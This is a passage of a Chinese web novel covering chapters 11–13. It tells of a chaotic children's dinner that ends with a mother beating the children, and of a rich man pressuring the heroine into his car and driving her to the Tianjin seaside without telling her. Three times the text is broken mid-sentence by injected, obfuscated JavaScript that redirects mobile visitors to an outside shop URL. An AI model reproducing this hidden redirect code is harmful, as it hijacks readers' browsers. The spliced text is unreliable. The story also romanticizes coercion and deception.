“切!吹牛!”陈向远不服气,同时往嘴里塞了一大口面,嘟嘟囔囔:“明明很好吃!” 本着互不相欠的平等原则,周墨让陈向远从自己饭盒里夹走一只大虾,丝毫没意识到这是一笔何等赔本的买卖。 陈向远吃了朱美丽做的大虾,不吭声了,憋了半天,忽然将一把钱拍在周墨面前。 “我宣布,以后你的午饭,我都买了!” 周墨惊呆了,她忽然想到平时跟着朱美丽看的琼瑶剧——地主恶少将银子丢在女主面前,颐指气使:“你值多少钱,开个价,本少爷包了!” 于是这一刻,周墨几乎是下意识学着电视剧里的女主,拍案而起:“你这肮脏的臭钱,我一分都不要!给我滚出去!” 陈向远:“……” 被声音吸引齐刷刷回头的同学:“……” 刚好进门的班主任:“……” 11. 011 六岁的男孩子总要比六岁的女孩子晚熟一些,脑子里装的只有变形金刚和旋风卡,更不会去看什么琼瑶剧。 所以在陈向远心里,十分不理解自己的钱怎么就变成周墨口中“肮脏的臭钱”了。 他很生气,也很委屈,脸憋得通红,一整天没跟周墨说话。 周墨倒是落得清净,也不理会陈向远。 下午四点半,放学时间到了。 中山小学分普通班和国际班,国际班和普通班的不同之处,是每天多了两节外教课,课堂上一名英国外教再配一个翻译老师,学的都是从英国邮寄过来的本地教材。 能把孩子送到国际班的家庭,在当时也算得上非富即贵。 所以每到放学,校门口都会出现不少豪车。 当然,周墨是个例外。 周海山这些日子就像当初接送她去幼儿园那样,照旧骑着他那辆大“二八”自行车,平凡的身影完美融入普通班的家长群。 不过今天周墨从学校大门出来,将骑自行车的家长全都过了一遍,却没发现周海山。 这很不寻常,这么多年接送,周海山从不会让周墨等。 “周墨!” 周墨正在校门口来回张望,这时听见周海山的声音。 她循着声音看过去,发现在那一排漂亮小轿车队伍里,老爸周海山正从一辆灰扑扑的面包车中探出头,向她挥手。 周墨瞪大了眼睛,看着周海山笑呵呵打开车门跳下来。 “怎么样,这是咱家新买的车!” 周海山牵着周墨的手,绕着车走了一圈。 金杯面包的后车门是拉门,需要用很大力气才能打开。 周海山拉开车门,露出里面一排齐刷刷的小脑袋瓜。 周墨:“……” “这些都是你们学校的同学,晚上去咱家吃饭。”周海山随口解释了一句,又问周墨:“你同桌呢?陈向远他妈出去打麻将,说不来接他了,让他跟我们一起回去。” 周墨轻车熟路地指向校门口的烤鱿鱼摊子,“他去买烤鱿鱼了。” 周海山果然在鱿鱼摊旁边瞧见了陈向远。 “你去叫他。” “我不去。” “咋啦,吵架啦?”周海山慧眼如炬。 周墨撇开头,“反正我不去。” “行,你上车。” 周海山亲自出马,不一会儿就将陈向远带回来。 七座的金杯面包,算上周墨和陈向远,刚好满座。 两人坐在一起,谁也不看谁。 陈向远手里拎着一个透明塑料袋,里面装着七八串烤鱿鱼。 狭小封闭的空间被烤鱿鱼的鲜香味填满,勾得几个小孩频频咽口水。 周墨同样默默吞了口水,眼角余光瞥见陈向远手中的塑料袋,吃不到葡萄说葡萄酸地想:买那么多,吃得下么! 周海山载着满车小学生回到家,朱美丽已经在客厅里摆好了晚饭。 “哥!”一个小团子冲出来,扑向陈向远,正是陈向朗。 陈向朗从塑料袋里拿出一根烤鱿鱼,“给!” 兄弟两人蹲在一处啃起了鱿鱼。 周海山刚停好车,紧随其后又有两辆车停在了周墨家别墅门外,其中一辆是宝马,另外一辆是红旗。 坐在宝马驾驶座的人周墨认得,正是那次迷路送她回家的阿姨,也就是徐子衿的妈妈。 徐夫人将徐子衿放下车,对朱美丽挥了挥手,“辛苦了哈朱姐,我晚上再来接子衿。” “放心吧!”朱美丽揽过徐子衿肩膀,显然两位妈妈已经在小朋友们不知道的情况下,达成了某种共识。 宝马车开走,徐子衿往旁边避了一下,躲开朱美丽的手,径自背着书包进了周家大门。 这时那辆红旗轿车上也走下来一个人,是开车的司机。 司机快步绕到后面打开车门,微微躬身,护着一个男孩下车。 男孩生得一副好皮囊,虽然只是六七岁的年纪,却已经能看出清隽骨相。 他看上去十分安静,眉眼唇角自带矜贵笑意,乌黑柔软的碎发垂在眉骨,衬得那双眼睛漆黑明亮,身上穿的蓝白拼色运动外套,看上去价格不菲。 “阿姨好。”男孩很有礼貌地冲朱美丽打招呼,只是眼睛根本没有看人。 “哎,你好,你是林跃琮吧?”就连朱美丽也被这漂亮男孩的气场震慑一瞬。 “嗯。” 林跃琮简单应了一声,没再多说半个字。 朱美丽对周墨道:“林跃琮也是住在咱们小区的,他在中山小学国际班读二年级,算是你的师兄。” 所有孩子都到齐,朱美丽生怕小孩子们到了陌生地方害怕,笑容满面地说:“以后你们放学就在阿姨家里吃饭,然后做作业,等你们爸爸妈妈忙完了再来这里接你们。” 她长得面善,自带亲和力,大部分孩子立刻呈现出放松状态,很听话地找了位置坐下,准备等开饭。 林跃琮目光在客厅内搜寻了一圈,问周墨:“洗手间在哪里?” 周墨指了指,“那边。” 林跃琮头微微靠近,几乎就要和周墨的头挨上了,他顺着周墨指的方向看过去,声音轻轻柔柔:“哪儿呀?” 周墨突然紧张起来,脸颊泛红,“我带你过去吧。” 林跃琮目光收回来,看着她一笑,“好啊,谢谢你。” 周墨带林跃琮到洗手间门口,踮起脚尖努力去够灯的开关。 林跃琮比她高半个头,就那么在一旁心安理得看着。 好不容易将灯打开,周墨舒了口气,示意林跃琮可以进去了。 林跃琮却道:“不和我一起么?” 周墨脸更红了:“你上厕所,我跟你一起怎么上?” 林跃琮笑眉笑眼地说:“可是我害怕,不敢一个人。” “你害怕啊?那我陪你呗!”陈向远不知道什么时候跟过来,双手叉腰往前一横,将周墨挡在身后。 林跃琮挑了挑眉,“你是谁?” “我是她同桌!”陈向远喊得理直气壮。 林跃琮点了点头,然后什么也没说,自己进了洗手间。 陈向远开始在门口教育周墨:“你是不是傻,看不出来他要欺负你么?” 周墨一头雾水,“怎么就欺负我了?” 陈向远:“他肯定是要把你骗进去,然后趁你不注意自己跑出来,关上灯再把门锁上。” 周墨丢给陈向远一个嫌弃的眼神,“你以为谁都和你一样坏。” 陈向远不可置信:“诶!你怎么还不领情呢!你到底和谁一伙的!” 周墨哼了一声,“反正和你不是一伙的!” 朱美丽准备的晚餐是四菜一汤,荤菜是菠萝古老肉和清炒虾仁,素菜是红烧茄子和醋溜绿豆芽,配什锦菌菇汤。 有心急的孩子已经忍不住开动,菠萝古老肉的酱汁蹭得满嘴都是。 徐子衿站在餐桌边,盯着一旁小孩嘴上的酱汁,表情满是嫌弃,似乎让他坐在这人身边,需要莫大的勇气。 “怎么啦?”朱美丽注意到徐子衿的异常, 徐子衿感觉到不少人都在看自己,特别是对面那个叫林跃琮的。 “没什么。”他硬着头皮坐下了,尽量与旁边的小孩距离拉远。 陈向远在周墨那里受了一肚子气,看林跃琮越发不顺眼。 林跃琮要拿筷子,他直接将筷子抢过来。 “我筷子掉地上了,借一下你的。” 林跃琮目光落在陈向远碗边的筷子。 陈向远直接将筷子扫到地上,然后挑衅地看回去。 林跃琮又去拿勺子。 陈向远先一步抢过勺子,“我弟弟不会用筷子,借一下你的勺子。” 林跃琮看出陈向远在找茬,笑了笑没说话。 他直接捧起了汤碗,一下一下地吹着。 陈向远以为林跃琮怂了,很是得意。 陈向朗吃了太多烤鱿鱼,这会儿一点都不想吃东西。 他正用手指头一根一根将绿豆芽从盘子里拎出来,在桌面上摆火柴人玩。 不过很快他的注意力就被林跃琮吸引了,见他一下一下将碗里的汤吹出波纹,也有样学样,捧过汤碗学着吹。 林跃琮见陈向朗学自己,非但没有停,反而带着鼓励的目光,吹得更用力了,像是在跟他比赛一样。 陈向朗被激起了斗志,决定来一把大的。 他深吸一口气蓄力,将腮帮子高高地鼓起来,然后使出吃奶的劲用力一吹! 呼! 汤汁飞溅,直接喷了坐在对面的徐子衿一头一脸。 徐子衿噌地一下站起来。 陈向朗对上他冷冷的视线,非但不害怕,还咯咯笑着继续往汤碗里吹气。 更多汤汁溅在徐子衿衣服上。 两边的小孩感受到危险的气息,纷纷抱着自己的饭碗撤离。 只有徐子衿还站在原地。 最初的怒意平息后,他表情平静地拿起自己那碗汤,举到陈向朗头顶,一整碗倒了下去。 陈向朗被浇了一头蘑菇汤,哇的一声大哭出来。 “你敢欺负我弟弟!!” 陈向远掀了面前的盘子,越过桌子向徐子衿扑过来。 周海山和朱美丽听见动静,赶紧从厨房冲出来。 周海山一手一个,将打在一起的陈向远和徐子衿分开。 朱美丽检查陈向朗,见他没有被烫伤,松了口气,用毛巾给他擦脸擦头。 还没擦完,陈向朗大叫一声:“我跟你拼了!”然后一头冲向徐子衿。 朱美丽提溜住陈向朗的后脖领,将人逮了回来。 “还拼,你跟谁拼!给我老实坐好!” 好不容易将几个人都按在了饭桌边,朱美丽开始复盘:“说吧,到底怎么回事!谁先动的手?!” 陈向远和徐子衿都不说话,陈向朗指着徐子衿告状:“他先用汤泼我!” 周墨见徐子衿不为自己辩驳,正义地出来做污点证人:“我看到是他先往徐子衿脸上吹汤的。” 陈向朗立马伸手指林跃琮:“我跟他学的!” 林跃琮慢悠悠地说:“我的筷子和勺子被人抢走了,只能喝汤。汤太烫了,吹一吹,有什么错?” 朱美丽头疼,问林跃琮:“谁抢了你的勺子和筷子。” 林跃琮看向陈向远。 陈向远立刻说:“我的筷子掉在地上了,我管他借的。” 总归是没有一个人觉得自己有错。 朱美丽懒得断案,这些小少爷她一个都得罪不起,用最快的速度将散落在地的碗盘饭菜收拾了,又重新盛了新的饭菜摆在桌上,哄道:“都不要闹了,先好好吃饭。” 徐子衿,陈向远,陈向朗都很不服气的样子,坐在桌边,谁也不动筷子,也不吭声。 只有林跃琮率先开口。 “让我吃饭可以,但是我要他给我道歉。”林跃琮伸手指陈向远。 陈向远正憋着一口气呢,立刻炸了:“我为什么要跟你道歉?” 林跃琮说:“刚才你污蔑我,说我要把周墨关在洗手间里,损害了我的名誉。” 在周墨等一众小屁孩还不懂名誉是什么意思的时候,林跃琮已经开始为了捍卫名誉而战。 朱美丽快要疯了,太阳穴一跳一跳。 她对陈向远说:“你跟他道个歉吧?” 陈向远梗着脖子,“我不!” 她将刚刚盛好的一碗热气腾腾的米饭递给林跃琮,“你比他们大,是哥哥,原谅……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093684|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话没说完,林跃琮当着朱美丽的面,直接将一碗米饭倒扣在桌上。 “我要他给我道歉。” 似乎觉得这种宣战的方式不错,陈向远也学着林跃琮的样子,将自己那碗米饭倒扣在桌上。 “我就不道歉!” 陈向朗紧跟其后,也将米饭扣过来,他手太小,弄得不太利索,还将半碗米饭撒在徐子衿脚上。 徐子衿几乎是条件反射,一脚将整张桌子踹了。 稀里哗啦,满地狼藉。 朱美丽崩了许久的神经终于断了,怒火直窜上头。 “周墨!去把大门锁了!” 她一声高呼,冲进厨房抄起擀面杖,再出来时像一头愤怒的斗牛。 “小兔崽子们,放着好好的日子不过是吧,我看你们就是惯的一身臭毛病,欠修理!” 周海山吓坏了,赶紧冲上来将人拦住,小声提醒:“老婆,老婆老婆,冷静!这可不是咱自己家孩子啊,不能打!” “给我起开!”朱美丽一擀面杖抡过去,周海山不得不放手。 朱美丽顺手抓起离自己最近的陈向朗,噼里啪啦就是一顿竹笋烧肉。 陈向远再次化身护弟狂魔,嗷一嗓子冲过来就要和朱美丽拼命。 朱美丽单手便将人按住,对准屁股又是一顿暴揍。 一对难兄难弟被打得鬼哭狼嚎,徐子衿僵硬在原地,似乎在赌朱美丽不敢对自己动手。 谁知下一秒,他就被薅过去,屁股朝天,挨了有生以来的第一顿胖揍。 朱美丽丝毫不手软,一边打一边骂,“谁教给你的规矩,动不动就掀桌?老娘一下午辛辛苦苦做的饭菜,就被你这么糟蹋!小兔崽子你要是我亲儿子,腿我都给你打断!” 徐子衿没有像陈家兄弟那样痛哭流涕,挨完了揍,整个人呆呆的,陷入了懵逼状态。 朱美丽喘了口气,锁定最后一个目标。 林跃琮强装淡定,在跑与不跑之间,最终选定了后者。 “你敢动我?你知道我爸是谁么?” 这话无异于火上浇油,原本冲着林跃琮那张漂亮脸蛋,朱美丽还有点下不去手,一听这话可了不得,提溜小鸡崽一样将林跃琮一把抓来,抡起擀面杖就是一顿暴打。 “还知道你爸是谁么,你让林厅长站我跟前,老娘当着他的面揍你信不信!就你小子最坏了,你以为我没看见么?那小的在那吹汤,不是你故意引导的!小小年纪还学会祸水东引了,看把你能的!” 周墨守在门口,看着亲妈打完了这个打那个,揍完了那个揍这个,看得目瞪口呆。 窗户外晃过一阵灯光,外面传来汽车引擎的声音。 有人来敲门。 周墨吓得脸都白了,对朱美丽喊道:“妈,外面有人来了!” 一听有人来,室内哭声分贝骤然飙高。 林跃琮更是大声喊起来:“来人呀!救命!” 外面的人听起来越来越多,敲门声也越来越急促。 “周墨,开门!”朱美丽命令道。 周墨战战兢兢将门打开,进来的都是来接小孩的家长。 看到客厅里的场景,一个一个全都惊呆了。 朱美丽提着擀面杖走过来,不仅没有丝毫惧意,反而红着眼睛,对家长们开启了无差别炮轰—— “各位家长,对不起了,今天这里有孩子祸害粮食,我替你们教训他们。我平时在饭店工作,你们知道每天晚上饭店打烊后,等在后门要饭的人有多少么?全国凭票买粮买肉才过去几年啊?才过了几天温饱不愁的日子,就敢这么作践?知道有多少人还吃不上饭么?! 今天我朱美丽把话放在这里了,您把孩子送到我家,我准保真材实料地好好给他们做饭,好好照顾他们。但要是再有小孩像今天这样胡闹,我甭管您家里做多大的官,做多大的生意,您没教育好的孩子,我替您教育! 您是要告我还是要报警的,我都奉陪到底!总归一句话,在我们家,就得守我的规矩。您要是心疼孩子或者不放心的,以后也不用再来了,我给您办理退款,今天这顿就算白送你们!” 也是巧了,站在最前面的,是一个戴着眼镜的中年男人,正是林跃琮的爸爸林厅长。在朱美丽虎虎生风的擀面杖面前,林厅长愣是从始至终没敢讲一句话。 直到她彻底说完了,林厅长才推了推眼镜,客气道:“朱美丽同志,您先消消气。我们平时工作太忙疏于管教,孩子调皮捣蛋,给您带来了麻烦,实在是对不住。我仅代表我个人哈,今后您对我家孩子的任何批评教育,我都没有意见,并且全力支持。” “嗨,这个年纪的皮猴子就是欠打,朱姐,我家的那两个您尽管揍,您要是揍不动了回头跟我说,我回家接着揍。”这次说话的是陈家兄弟的妈妈。 本来指望着亲妈出来给自己做主的陈向远和陈向朗,顿时收住了哭声。 徐子衿的妈妈站在后排,也出来表态:“我也没有意见,小孩子做错事,就是要教育。” 挨打的几个孩子家长都没说什么了,其他家长更是纷纷附和,表示 认可朱美丽的话。 不过也有个别犹豫的,似乎担心朱美丽脾气太爆,可是一听说他们要退款,他们自己家的孩子先急了,纷纷嚷着朱阿姨做的饭好吃。 于是这一晚,朱美丽大开杀戒,付出了零代价。 就连摔碎的几个盘子碗,也由肇事者的父母主动赔偿。 自此,朱美丽女士一战成名,也在小小的周墨心里留下影响深重的一笔。 她叉腰而立的身影,像一株参天大树,为周墨的行为处事立下标尺,让她无论面对何等权贵巨擘,都能不卑不亢,坚守本心。 这也成就了她日后在生意场上的意气从容,助她所向披靡,一往无前。 12. 012 时隔多年的重聚,这顿饭大家都吃得很高兴。 最起码在朱美丽眼里是这样的。 几人或多或少都喝了点酒,不能开车。 岳朗倒是方便,直接去楼上他自己的房子睡就行了。 陈向远借着酒劲儿,黏在朱美丽身上耍赖撒泼:“美丽阿姨,我走不了啦,今晚我就住这儿!” 朱美丽一脸很烦很嫌弃的样子,却已经开始催促着周墨去柜子里拿多余的被褥。 岳朗直接过来,揪着陈向远脖领子,将人从朱美丽身上揭下来。 “来吧您,跟我去楼上!” 陈向远鬼哭狼嚎,奈何武力值比不过岳朗,生生被拖走。 兄弟俩都走到门口了,岳朗忽然想起什么,回头看林跃琮和徐子衿。 “你们,也跟我走吧。” 林跃琮微笑,“多谢,但是不用了,我叫了代驾。” 三个男人又同时将目光移到徐子衿身上。 这时周墨正抱着被子从次卧出来。 朱美丽说:“子衿就住这里吧,别折腾了。” 徐子衿唇角轻勾,向另外三人投以胜利者的微笑。 陈向远挣开岳朗,指着徐子衿,“凭什么你住这里,我不同意。” 徐子衿一手揽住朱美丽,“这是我妈,那是我妹,我住这里有问题?” “那我还是周墨……” 眼看着陈向远要说出了不得的话,周墨火速冲上去捂住他嘴巴。 “行了行了,都别闹了,怪晚的,赶紧各回各家睡觉去吧。” 一边说一边频频给岳朗使眼色。 岳朗心有不甘,可他不愿周墨为难,冷冷瞥了徐子衿一眼,将陈向远强行带走。 这样一来,要离开的就只有林跃琮一个人了。 “周墨,不送送我么?”跟朱美丽告别后,林跃琮换好了鞋子,站在玄关处笑着说。 徐子衿走过来:“我送你。” 周墨想到了卫青青的拜托,抢到徐子衿前面。 “没事,我送他下去。” 徐子衿愣了一下,终究没再往前走。 他只是面无表情地立在原地,目送周墨和林跃琮出了门。 周墨跟着林跃琮下楼,代驾还没来。 两人站在单元门口,周墨穿着一身灰色居家服,双手插在口袋里。 这是北京最舒服的季节,初秋的晚风吹散了白天的燥热。 泛黄的路灯将两人的影子拖长,在地面映出温柔的形状。 林跃琮忽然开口:“说吧。” “嗯?说什么?”周墨没反应过来。 “不是有事求我么。” 林跃琮侧过头,总是含着笑意的眼睛,这会儿却很冷淡。 周墨有点尴尬,虽然知道林跃琮这人很不好惹,还是被他超乎寻常的洞察力吓到了。 “你怎么看出来的……” 林跃琮自嘲地一笑,收回目光。 “浑身上下一百个不愿意搭理我,却还是硬着头皮跟我说话,讨我开心,甚至还能亲自下楼送我。周墨,你真是一点都没变。” 周墨被他这话架在这里,反倒不好开口了。 但她也不肯白受气,当即怼回去:“说话总喜欢挤兑着人说,阴阳怪气的,你也一点没变。” 她在心里对卫青青说了句对不住,转身就要走,却被林跃琮抓住手腕。 这时林跃琮的手机响了,他单手接电话,另一手还牢牢抓着周墨。 “嗯,你往前走,我在三单元门口。” 是代驾到了,林跃琮和对方确定位置。 “放开我。”周墨挣了几下,没能挣脱。 代驾骑着折叠车找到他们,从林跃琮手里接过车钥匙,很快将他的车开过来。 今天不是那辆库里南了,换成了低调的奔驰大G。 周墨记得,林跃琮从学生时代开始就对SUV情有独钟。 她那时候还问过他,为什么喜欢SUV。 毕竟像他们这些有钱的公子少爷,大多数都喜欢看上去更拉风的跑车。 然后林跃琮就用上讲台讲数学题的严谨态度,一脸认真回答她:“因为SUV内室宽敞,无论是后座还是前座,都很适合车震。” 周墨就是从那时候开始,对林跃琮的滤镜碎了一地。 奔驰大G停在两人面前。 林跃琮打开车门,示意周墨上车。 周墨:“林跃琮,你有病吧?” 林跃琮面无表情道:“你上车,未来三年红松资本的法务合作就是卫青青他们律所的。” 周墨冷笑,“你觉得我会为了别人的生意,把自己卖了?” 十分钟后。 周墨和林跃琮一起坐在了他的大G后座。 拿捏周墨其实很简单。 林跃琮只是稍稍提醒了她一下,现在卫青青一直在帮她的工作室免费过合同。 但是卫青青她老板,也就是她的亲爹,重男轻女思想极其严重,一直想培养侄子接手律所,至于亲闺女,则准备用来联姻。 卫青青急于向亲爹证明自己,要是红松资本这一单拿不下,她的业绩就没法达标,只能被踹出律所回家嫁人,做全职豪门太太。 到时候卫青青自然没法再胜任周墨工作室的法务,她需要另请团队,对她来说,无疑是一大笔巨大开销。 周墨只知道卫青青说自己处境艰难,不被亲爹看好,但是没想到竟然会这么惨。 她不想痛失免费劳动力固然是一个原因,更重要的是,她不想因为她,导致闺蜜沦落到去嫁人。 所以明知道林跃琮这是在要挟,她还是妥协了。 反正就是陪他回家,人送到地方,她再打车回去就是。 他还能吃了她么? 林跃琮很识趣,知道周墨生气,接下来一路都没和她说话。 周墨一直扭头盯着窗外看夜景。 车子行驶了二十多分钟,外面一点繁华迹象都没有,反而越来越荒凉。 周墨觉出不对劲,问:“这是要去哪里,怎么像是在往郊区走?” 以她的预判,林跃琮的住处应该在城中心才对。 “东北边,有点远。”林跃琮回答得言简意赅。 周墨听岳朗提起过,那边远郊这两年开发了很多别墅区,想来林跃琮是有置产。 “跑这么远,我怎么回来?打车要破产的!”周墨的抠门基因被触发,整个人都红温了。 林跃琮淡定道:“放心,到时候送你回来。” 周墨天然理解为林跃琮会找司机送她,也就没再做声。 车内又恢复了安静,安静到有些无聊。 林跃琮让代驾放首歌。 音乐打开,播放的是陈柏霖的《我不会喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093685|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你》。 这是前两年很火的一部台剧的主题曲,剧集热播时周墨还没毕业,每天在寝室里追剧追得痛哭流涕。 颠簸又漫长的行程,伴随着舒缓的旋律,最容易催发睡意。 更何况,周墨还喝过酒。 听着歌词一遍遍重复的“别想了,别想了,我不会喜欢你”,她眼皮渐渐发沉,半梦半醒间,恍惚回到了六年前,和林跃琮那次不愉快的重逢。 确切说,是林跃琮单方面来找她的。 那是大学报道第一天,周墨这个北方孩子第一次来上海,还不太适应江浙沪包邮区的夏季。 闵行的交大校园实在太大,偏偏周墨不会骑自行车,一上午全靠腿跑,这边办手续,那边领教材,直接中暑了。 她都不知道自己是怎么晕过去的,再次醒来,已经被人送到医务室。 站在她病床边的,居然是林跃琮。 周墨的反应不亚于见鬼。 “你,你怎么在这里?” 林跃琮垂眸看着她,眼底无波,静得发寒。 周墨被他看毛了,“你这么看我做什么?” 林跃琮声音很轻:“为什么不回我消息,也不接我电话?” 周墨移开目光,不再看林跃琮。 “我为什么要回你消息。” “不是说好的,让你填报北京的学校。” 周墨从床上坐起来,慢吞吞拿下敷在额头上的冰毛巾。 “你让我填我就要填么,我自己想来上海念书,有问题么?” “周墨。”林跃琮语气中带着警告意味。 这是他生气的前兆。 可是周墨如今已经懒得再哄他。 “林大少爷,以后能不能别再联系我了。” 林跃琮垂在身侧的手缓缓攥成拳,不过很快又松开。 “是不是我妈跟你说什么了?” 周墨轻笑一声,“林跃琮,豪门狗血剧看多了吧你?阿姨能跟我说什么?” “那为什么这样?你明知道我要在北京念书,你的成绩,在北京也可以随便挑学校……” “还能因为什么?”周墨打断他,“因为我不喜欢你,想离你远一点。这么简单的事都想不明白么,非要我说出来?” 林跃琮倏然抬眼,死死盯着周墨。 “你说什么?” 周墨想要下床,却被林跃琮按了回去。 他捏住她下巴,迫她抬头与他对视,重复:“周墨,你说什么?再说一遍。” 林跃琮的样子太吓人了,似乎周墨只要再将刚才的话重复一遍,他就要杀了她。 可偏偏周墨遗传了朱美丽的硬骨头。 她一字一句,看着他的眼睛说:“林跃琮,我不喜欢你,我从来都没喜欢过你,别再纠缠我了。” 林跃琮放开了她,他的手无力垂落,看着她,一步步倒着后退。 “好,好。”他一边点头一边笑,“我知道了。” 有那么一瞬,周墨都要以为他疯了。 可他终究还是保持了世家公子应有的风度,没有对周墨发脾气。 只是转身离去时,向来骄傲的他,却像是落荒而逃。 也是自那以后,六年的时间,两人再无联系。 那个阳光明媚的午后,在那充满了消毒药水气味的医务室里,他们给彼此的过去,画了个不太体面的句号。 13. 013 周墨忽然惊醒。 车还在开,她睡得有点晕车,降下车窗,想要透透风。 扑面而来的潮湿空气带着淡淡的海腥味。 周墨按窗子开关的手瞬间僵住,以为自己出现了错觉。 她努力向窗外看,路灯只照亮了路面,两旁漆黑一片,什么也看不见。 但是很快周墨就不需要看了,因为她听见了外面的海浪声。 周墨:“……” 她猛地转身,发现林跃琮正看着她,显然,将她的一举一动尽收眼底。 “不是,林跃琮,你有病么!你真的脑子不正常吧!这是哪儿!你这是把我弄哪儿来了!”周墨几乎要原地爆炸。 林跃琮还没说话,代驾这时却将车子停了下来,回头说:“林先生,您预约的目的地——天津滨海停车场——已顺利到达,请您下车检查车况,确认无误后麻烦在手机上完成订单确认,谢谢。” 周墨连代驾小哥一起喷:“不是……你也有病吧,大半夜的,你接什么跨城订单啊!” 小哥腼腆地笑了笑,“没办法,这位先生给得实在太多了。” 周墨:“……” 代驾熄火,解开安全带下车。 周墨跟着下去,四下张望一圈,连个鬼影子都没瞧见。 眼看着代驾小哥去后备箱取出折叠自行车,她大惊失色:“不是吧,你要骑回北京么?!” “那不能,我找个酒店睡一晚,明天坐高铁回京。” “这样都不赔本么?!”周墨叹为观止。 代驾小哥还是那句话:“这位先生给得太多了,今天这一单赚得比我一周都多。” 说完,他脚下一蹬,骑上自行车就跑。 “等一下!我再给你发一单,你送我回去!” 周墨大声召唤。 可惜召唤失败。 林跃琮在她后面笑出声,眼里也重新带上笑意。 他对周墨说:“他可不敢接你的单,我会投诉他的。” 周墨抓狂,她也不理林跃琮,拿出手机开始叫代驾单。 他们两个人都喝了酒,前年开始醉驾入刑,没人敢酒后驾车。 可是天津的滨海新区才没开发几年,这附近到处都是施工工地,连个常住人口都没有,周墨十分怀疑在这里能不能叫到代驾。 果然,呼叫单上代表等候的小圆圈转了又转,就是无人接单。 “放弃吧,这里应该叫不到代驾的。”林跃琮不紧不慢地说。 “疯子!林跃琮你这疯子!你到底想干什么呀?”周墨身上的居家服很薄,半夜站在外面吹海风,整个人都透心凉。 林跃琮从车上拿了件外套,给周墨披上,然后打开驾驶位的门,探身进去按了个按键。 驾驶和副驾驶两个座位开始缓缓放平,同时车顶的天窗也自动打开。 “上车休息吧,我查过天气预报,明天早上天很晴,适合看日出。” “谁要来跟你看日出,你这是人口拐卖!是欺骗!” “我又没骗你。” “怎么没骗?你要说你来天津海边,我就算是看着卫青青嫁到非洲去,我都不带上你的车的!” 周墨随手绑的丸子头已经快散开了,碎发凌乱,气得脸颊涨红,像只炸了毛的猫。 林跃琮垂下眼,姿态放得很低,“周墨,我今天心情不好,陪陪我。” 周墨翻着手机通讯录,决定不做人了,她要把助理小张叫出来,让他开车来接她。 林跃琮一把抓住她的手机,将她拉到自己跟前,低头看她。 “周墨,有些话,我们好好聊一聊吧。明早看完日出,我就送你回去,行么?” 周墨打了个喷嚏。 无论如何,不能跟自己的身体置气。 她裹着林跃琮的风衣,一言不发地坐进副驾。 与其说是坐,此时座椅的角度,几乎能让周墨彻底平躺下来,可以透过打开的天窗看到夜空。 林跃琮也躺进了主驾,再次放出那首《我不会喜欢你》。 我想我应该应该不会爱你, 为了要努力努力的不爱你。 所以我让自己那么喜欢你, 这样你就不忍心和我分离…… 周墨第一次听这首歌的时候还是大二,那时候少年不知愁滋味,未赋新词强说愁。她为剧里的男女主哭,为自己那段无疾而终的青涩情感伤心难过。 直到一年后,父亲生病,家中变卖房产,她为了尽早毕业,用三年的时间修完四年的学分,同时还要抽时间写公众号赚外快,几乎将自己逼成一个陀螺。 在那段难熬的日子里,周墨才明白,在真正的苦难面前,那些少女心事简直不值一提。 而这首曾经让她反复循环的情歌,在如今的她看来,完全是狗屁不通,无病呻吟。 一整首歌放完,林跃琮才打破沉默。 “每年四月到十月都是银河的拍摄黄金期,这里也是个很好的观星点。可惜,今晚似乎有云,什么也看不到。” 周墨十分残忍地补刀:“那可能明早的日出也看不到的。” 林跃琮没有反驳,反而轻轻“嗯”了一声,说:“也有这个可能。我们两个在一起的时候,似乎运气总是不太好。” 周墨这回没有说话,只是闭上眼睛。 就在林跃琮以为周墨睡着了的时候,忽听她轻轻叫了声自己的名字。 “林跃琮。” 语气中不带任何感情,平静得让林跃琮有些害怕。 在资本圈里大杀四方的投资天才,这一刻甚至连呼吸都变得小心翼翼起来。 “我以为我们上次吃饭,我已经把话说得很明白了。”周墨说。 林跃琮顿了一下,问:“你说什么了?” 周墨:“我们两个,是不同世界的人。” 林跃琮冷笑一声:“我是哪个世界的,你又是哪个世界的?” 周墨侧过头看林跃琮,“林跃琮,你明白我的意思。何苦要弄到大家都难堪呢,最后连朋友都没得做。” 林跃琮安静看她片刻,说出的话透着股狠劲:“周墨,你我之间只有两种结局,要么有情人终成眷属,要么老死不相往来,没有第三种。我不差你这么个朋友。” “哦,那很可惜了。”周墨再次闭上眼,大有一种谈话就此结束的意思。 但这次她闭眼闭得很不踏实,总觉得林跃琮一直在看自己。 她睫毛微颤,克制想要睁眼的冲动,打定主意不去理会。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093686|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 片刻后,她听见林跃琮的声音从旁传来。 “周墨,你真的从来没喜欢过我么?” 周墨正要说话,林跃琮又慢条斯理地补充:“撒谎的人是要破财的。” 周墨:“……” 